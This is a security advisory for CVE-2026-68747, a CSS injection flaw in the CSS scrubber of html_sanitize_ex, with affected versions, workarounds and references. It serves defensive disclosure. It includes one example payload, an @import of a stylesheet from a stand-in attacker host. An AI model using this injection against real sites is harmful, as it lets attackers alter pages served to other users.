CVE-2026-68747

Summary

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(…) declaration is removed.

Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes.

This issue affects html_sanitize_ex: from 0.3.1 before 1.5.4.

Affected Software

Weaknesses

• CWE-74: CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Workarounds

Sanitize with basic_html/1, markdown_html/1 or strip_tags/1, none of which allow <style> elements, or define a custom scrubber that omits it.

A Content-Security-Policy style-src directive that permits no external stylesheet origins stops an injected @import from loading, though injected inline rules still apply.

ADP Enrichment

CISA ADP Vulnrichment

• SSVC:
• Exploitation: none
  • Automatable: no
  • Technical Impact: partial

References

• https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7
• https://cna.erlef.org/cves/CVE-2026-68747.html
• https://osv.dev/vulnerability/EEF-CVE-2026-68747
• https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308

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